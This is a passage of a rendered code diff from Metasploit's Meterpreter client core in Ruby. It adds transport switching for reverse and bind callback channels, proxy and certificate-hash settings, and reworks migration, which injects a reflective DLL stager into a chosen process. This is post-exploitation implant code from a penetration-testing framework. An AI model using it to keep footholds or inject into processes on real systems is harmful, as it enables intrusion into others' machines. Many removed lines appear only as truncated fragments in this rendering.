# creating a whole new TLV value
|
366
|
+
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
|
367
|
+
client.send_request(request)
|
368
|
+
return true
|
369
|
+
end
|
370
|
+
|
371
|
+
def transport_next
|
372
|
+
request = Packet.create_request('core_transport_next')
|
373
|
+
client.send_request(request)
|
374
|
+
return true
|
375
|
+
end
|
376
|
+
|
377
|
+
def transport_prev
|
378
|
+
request = Packet.create_request('core_transport_prev')
|
379
|
+
client.send_request(request)
|
380
|
+
return true
|
381
|
+
end
|
382
|
+
|
383
|
+
#
|
384
|
+
# Enable the SSL certificate has verificate
|
385
|
+
#
|
386
|
+
def enable_ssl_hash_verify
|
387
|
+
# Not supported unless we have a socket with SSL enabled
|
388
|
+
return nil unless self.client.sock.type? == 'tcp-ssl'
|
389
|
+
|
390
|
+
request = Packet.create_request('core_transport_setcerthash')
|
391
|
+
|
392
|
+
hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
|
393
|
+
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
394
|
+
|
395
|
+
client.send_request(request)
|
396
|
+
|
397
|
+
return hash
|
398
|
+
end
|
399
|
+
|
400
|
+
#
|
401
|
+
# Disable the SSL certificate has verificate
|
402
|
+
#
|
403
|
+
def disable_ssl_hash_verify
|
404
|
+
# Not supported unless we have a socket with SSL enabled
|
405
|
+
return nil unless self.client.sock.type? == 'tcp-ssl'
|
406
|
+
|
407
|
+
request = Packet.create_request('core_transport_setcerthash')
|
408
|
+
|
409
|
+
# send an empty request to disable it
|
410
|
+
client.send_request(request)
|
411
|
+
|
412
|
+
return true
|
413
|
+
end
|
414
|
+
|
415
|
+
#
|
416
|
+
# Attempt to get the SSL hash being used for verificaton (if any).
|
417
|
+
#
|
418
|
+
# @return 20-byte sha1 hash currently being used for verification.
|
419
|
+
#
|
420
|
+
def get_ssl_hash_verify
|
421
|
+
# Not supported unless we have a socket with SSL enabled
|
422
|
+
return nil unless self.client.sock.type? == 'tcp-ssl'
|
423
|
+
|
424
|
+
request = Packet.create_request('core_transport_getcerthash')
|
425
|
+
response = client.send_request(request)
|
426
|
+
|
427
|
+
return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
|
428
|
+
end
|
429
|
+
|
180
430
|
#
|
181
431
|
# Migrates the meterpreter instance to the process specified
|
182
432
|
# by pid. The connection to the server remains established.
|
183
433
|
#
|
184
|
-
def migrate(pid, writable_dir = nil)
|
185
|
-
keepalive
|
434
|
+
def migrate(pid, writable_dir = nil, opts = {})
|
435
|
+
keepalive = client.send_keepalives
|
186
436
|
client.send_keepalives = false
|
187
|
-
process
|
188
|
-
binary_suffix
|
189
|
-
old_platform
|
190
|
-
old_binary_suffix
|
437
|
+
process = nil
|
438
|
+
binary_suffix = nil
|
439
|
+
old_platform = client.platform
|
440
|
+
old_binary_suffix = client.binary_suffix
|
191
441
|
|
192
442
|
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
|
193
|
-
client.core.use(
|
443
|
+
client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')
|
194
444
|
|
195
445
|
# Determine the architecture for the pid we are going to migrate into...
|
196
446
|
client.sys.process.processes.each { | p |
|
@@ -201,8 +451,8 @@ class ClientCore < Extension
|
|
201
451
|
}
|
202
452
|
|
203
453
|
# We cant migrate into a process that does not exist.
|
204
|
-
|
205
|
-
raise RuntimeError,
|
454
|
+
unless process
|
455
|
+
raise RuntimeError, 'Cannot migrate into non existent process', caller
|
206
456
|
end
|
207
457
|
|
208
458
|
# We cannot migrate into a process that we are unable to open
|
@@ -215,7 +465,7 @@ class ClientCore < Extension
|
|
215
465
|
|
216
466
|
# And we also cannot migrate into our own current process...
|
217
467
|
if process['pid'] == client.sys.process.getpid
|
218
|
-
raise RuntimeError,
|
468
|
+
raise RuntimeError, 'Cannot migrate into current process', caller
|
219
469
|
end
|
220
470
|
|
221
471
|
if client.platform =~ /linux/
|
@@ -234,19 +484,19 @@ class ClientCore < Extension
|
|
234
484
|
blob = generate_payload_stub(process)
|
235
485
|
|
236
486
|
# Build the migration request
|
237
|
-
request = Packet.create_request(
|
487
|
+
request = Packet.create_request('core_migrate')
|
238
488
|
|
239
489
|
if client.platform =~ /linux/i
|
240
490
|
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
|
241
491
|
|
242
492
|
if socket_path.length > UNIX_PATH_MAX - 1
|
243
|
-
raise RuntimeError,
|
493
|
+
raise RuntimeError, 'The writable dir is too long', caller
|
244
494
|
end
|
245
495
|
|
246
496
|
pos = blob.index(DEFAULT_SOCK_PATH)
|
247
497
|
|
248
498
|
if pos.nil?
|
249
|
-
raise RuntimeError,
|
499
|
+
raise RuntimeError, 'The meterpreter binary is wrong', caller
|
250
500
|
end
|
251
501
|
|
252
502
|
blob[pos, socket_path.length + 1] = socket_path + "\x00"
|
@@ -260,14 +510,17 @@ class ClientCore < Extension
|
|
260
510
|
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
261
511
|
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
|
262
512
|
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
|
513
|
+
|
263
514
|
if process['arch'] == ARCH_X86_64
|
264
515
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
265
516
|
else
|
266
517
|
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
|
267
518
|
end
|
268
519
|
|
269
|
-
# Send the migration request
|
270
|
-
|
520
|
+
# Send the migration request. Timeout can be specified by the caller, or set to a min
|
521
|
+
# of 60 seconds.
|
522
|
+
timeout = [(opts[:timeout] || 0), 60].max
|
523
|
+
client.send_request(request, timeout)
|
271
524
|
|
272
525
|
if client.passive_service
|
273
526
|
# Sleep for 5 seconds to allow the full handoff, this prevents
|
@@ -289,7 +542,7 @@ class ClientCore < Extension
|
|
289
542
|
# keep from hanging the packet dispatcher thread, which results
|
290
543
|
# in blocking the entire process.
|
291
544
|
begin
|
292
|
-
Timeout.timeout(
|
545
|
+
Timeout.timeout(timeout) do
|
293
546
|
# Renegotiate SSL over this socket
|
294
547
|
client.swap_sock_ssl_to_plain()
|
295
548
|
client.swap_sock_plain_to_ssl()
|
@@ -350,17 +603,106 @@ class ClientCore < Extension
|
|
350
603
|
if not client.passive_service
|
351
604
|
self.client.send_packet(request)
|
352
605
|
else
|
353
|
-
|
354
|
-
|
355
|
-
|
356
|
-
|
606
|
+
# If this is a HTTP/HTTPS session we need to wait a few seconds
|
607
|
+
# otherwise the session may not receive the command before we
|
608
|
+
# kill the handler. This could be improved by the server side
|
609
|
+
# sending a reply to shutdown first.
|
357
610
|
self.client.send_packet_wait_response(request, 10)
|
358
611
|
end
|
359
612
|
true
|
360
613
|
end
|
361
614
|
|
615
|
+
#
|
616
|
+
# Indicates if the given transport is a valid transport option.
|
617
|
+
#
|
618
|
+
def valid_transport?(transport)
|
619
|
+
if transport
|
620
|
+
VALID_TRANSPORTS.has_key?(transport.downcase)
|
621
|
+
else
|
622
|
+
false
|
623
|
+
end
|
624
|
+
end
|
625
|
+
|
362
626
|
private
|
363
627
|
|
628
|
+
def transport_prepare_request(method, opts={})
|
629
|
+
unless valid_transport?(opts[:transport]) && opts[:lport]
|
630
|
+
return nil
|
631
|
+
end
|
632
|
+
|
633
|
+
if opts[:transport].starts_with?('reverse')
|
634
|
+
return false unless opts[:lhost]
|
635
|
+
else
|
636
|
+
# Bind shouldn't have lhost set
|
637
|
+
opts[:lhost] = nil
|
638
|
+
end
|
639
|
+
|
640
|
+
transport = VALID_TRANSPORTS[opts[:transport]]
|
641
|
+
|
642
|
+
request = Packet.create_request(method)
|
643
|
+
|
644
|
+
scheme = opts[:transport].split('_')[1]
|
645
|
+
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
646
|
+
|
647
|
+
if opts[:comm_timeout]
|
648
|
+
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
649
|
+
end
|
650
|
+
|
651
|
+
if opts[:session_exp]
|
652
|
+
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
653
|
+
end
|
654
|
+
|
655
|
+
if opts[:retry_total]
|
656
|
+
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
657
|
+
end
|
658
|
+
|
659
|
+
if opts[:retry_wait]
|
660
|
+
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
661
|
+
end
|
662
|
+
|
663
|
+
# do more magic work for http(s) payloads
|
664
|
+
unless opts[:transport].ends_with?('tcp')
|
665
|
+
if opts[:uri]
|
666
|
+
url << '/' unless opts[:uri].start_with?('/')
|
667
|
+
url << opts[:uri]
|
668
|
+
url << '/' unless opts[:uri].end_with?('/')
|
669
|
+
else
|
670
|
+
sum = uri_checksum_lookup(:connect)
|
671
|
+
url << generate_uri_uuid(sum, opts[:uuid]) + '/'
|
672
|
+
end
|
673
|
+
|
674
|
+
# TODO: randomise if not specified?
|
675
|
+
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
676
|
+
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
677
|
+
|
678
|
+
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
|
679
|
+
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
|
680
|
+
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
681
|
+
end
|
682
|
+
|
683
|
+
if opts[:proxy_host] && opts[:proxy_port]
|
684
|
+
prefix = 'http://'
|
685
|
+
prefix = 'socks=' if opts[:proxy_type] == 'socks'
|
686
|
+
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
687
|
+
request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
|
688
|
+
|
689
|
+
if opts[:proxy_user]
|
690
|
+
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
|
691
|
+
end
|
692
|
+
if opts[:proxy_pass]
|
693
|
+
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
|
694
|
+
end
|
695
|
+
end
|
696
|
+
|
697
|
+
end
|
698
|
+
|
699
|
+
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
|
700
|
+
request.add_tlv(TLV_TYPE_TRANS_URL, url)
|
701
|
+
|
702
|
+
return request
|
703
|
+
end
|
704
|
+
|
705
|
+
|
364
706
|
def generate_payload_stub(process)
|
365
707
|
case client.platform
|
366
708
|
when /win/i
|
@@ -380,11 +722,9 @@ class ClientCore < Extension
|
|
380
722
|
|
381
723
|
# Include the appropriate reflective dll injection module for the target process architecture...
|
382
724
|
if process['arch'] == ARCH_X86
|
383
|
-
c.include( ::Msf::Payload::Windows::
|
384
|
-
binary_suffix = "x86.dll"
|
725
|
+
c.include( ::Msf::Payload::Windows::MeterpreterLoader )
|
385
726
|
elsif process['arch'] == ARCH_X86_64
|
386
|
-
c.include( ::Msf::Payload::Windows::
|
387
|
-
binary_suffix = "x64.dll"
|
727
|
+
c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
|
388
728
|
else
|
389
729
|
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
|
390
730
|
end
|
@@ -392,41 +732,13 @@ class ClientCore < Extension
|
|
392
732
|
# Create the migrate stager
|
393
733
|
migrate_stager = c.new()
|
394
734
|
|
395
|
-
|
396
|
-
if dll.nil?
|
397
|
-
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
|
398
|
-
end
|
399
|
-
migrate_stager.datastore['DLL'] = dll
|
400
|
-
|
401
|
-
blob = migrate_stager.stage_payload
|
402
|
-
|
403
|
-
if client.passive_service
|
404
|
-
|
405
|
-
#
|
406
|
-
# Patch options into metsrv for reverse HTTP payloads
|
407
|
-
#
|
408
|
-
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
409
|
-
:ssl => client.ssl,
|
410
|
-
:url => self.client.url,
|
411
|
-
:expiration => self.client.expiration,
|
412
|
-
:comm_timeout => self.client.comm_timeout,
|
413
|
-
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
414
|
-
:proxyhost => client.exploit_datastore['PROXYHOST'],
|
415
|
-
:proxyport => client.exploit_datastore['PROXYPORT'],
|
416
|
-
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
|
417
|
-
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
|
418
|
-
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
|
419
|
-
|
420
|
-
end
|
735
|
+
blob = migrate_stager.stage_meterpreter
|
421
736
|
|
422
737
|
blob
|
423
738
|
end
|
424
739
|
|
425
740
|
def generate_linux_stub
|
426
|
-
|
427
|
-
blob = ::File.open(file, "rb") {|f|
|
428
|
-
f.read(f.stat.size)
|
429
|
-
}
|
741
|
+
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
430
742
|
|
431
743
|
blob
|
432
744
|
end
|